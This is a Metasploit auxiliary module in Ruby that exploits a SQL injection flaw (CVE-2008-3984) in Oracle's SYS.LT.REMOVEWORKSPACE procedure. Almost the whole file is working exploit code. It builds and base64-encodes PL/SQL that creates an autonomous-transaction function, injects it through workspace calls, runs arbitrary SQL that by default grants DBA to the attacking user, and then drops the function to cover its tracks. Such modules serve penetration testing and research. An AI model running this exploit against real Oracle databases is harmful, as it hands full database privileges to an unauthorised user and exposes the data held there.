##
# $Id: lt_removeworkspace.rb 11122 2010-11-24 06:10:13Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

	include Msf::Exploit::ORACLE

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Oracle DB SQL Injection via SYS.LT.REMOVEWORKSPACE',
			'Description'    => %q{
				This module exploits an sql injection flaw in the REMOVEWORKSPACE
				procedure of the PL/SQL package SYS.LT. Any user with execute
				privilege on the vulnerable package can exploit this vulnerability.
			},
			'Author'         => [ 'Sh2kerr <research[ad]dsecrg.com>' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 11122 $',
			'References'     =>
				[
					[ 'CVE', '2008-3984' ],
					[ 'OSVDB', '49326'],
					[ 'URL', 'http://www.appsecinc.com/resources/alerts/oracle/2008-10.shtml' ],

				],
			'DisclosureDate' => 'Oct 13 2008'))

			register_options(
				[
					OptString.new('SQL', [ false, 'SQL to execte.',  "GRANT DBA to #{datastore['DBUSER']}"]),
				], self.class)
	end

	def run
		return if not check_dependencies

		name  = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
		rand1 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
		rand2 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
		rand3 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
		cruft = Rex::Text.rand_text_alpha_upper(1)

		function = "
			CREATE OR REPLACE FUNCTION #{cruft}
			RETURN VARCHAR2 AUTHID CURRENT_USER
			AS
			PRAGMA AUTONOMOUS_TRANSACTION;
			BEGIN
			EXECUTE IMMEDIATE '#{datastore['SQL']}';
			COMMIT;
			RETURN '#{cruft}';
			END;"

		package1 = %Q|
			BEGIN
				SYS.LT.CREATEWORKSPACE('#{name}'' and #{datastore['DBUSER']}.#{cruft}()=''#{cruft}');
			END;
			|

		package2 = %Q|
			BEGIN
				SYS.LT.REMOVEWORKSPACE('#{name}'' and #{datastore['DBUSER']}.#{cruft}()=''#{cruft}');
			END;
			|

		uno  = Rex::Text.encode_base64(function)
		dos  = Rex::Text.encode_base64(package1)
		tres = Rex::Text.encode_base64(package2)

		sql = %Q|
			DECLARE
			#{rand1} VARCHAR2(32767);
			#{rand2} VARCHAR2(32767);
			#{rand3} VARCHAR2(32767);
			BEGIN
			#{rand1} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{uno}')));
			EXECUTE IMMEDIATE #{rand1};
			#{rand2} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{dos}')));
			EXECUTE IMMEDIATE #{rand2};
			#{rand3} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{tres}')));
			EXECUTE IMMEDIATE #{rand3};
			END;
			|

		clean = "DROP FUNCTION #{cruft}"

		# Try first, if it's good.. keep doing the dance.
		print_status("Attempting sql injection on SYS.LT.REMOVEWORKSPACE...")
		begin
			prepare_exec(sql)
		rescue => e
			return
		end

		print_status("Removing function '#{cruft}'...")
		prepare_exec(clean)

	end

end
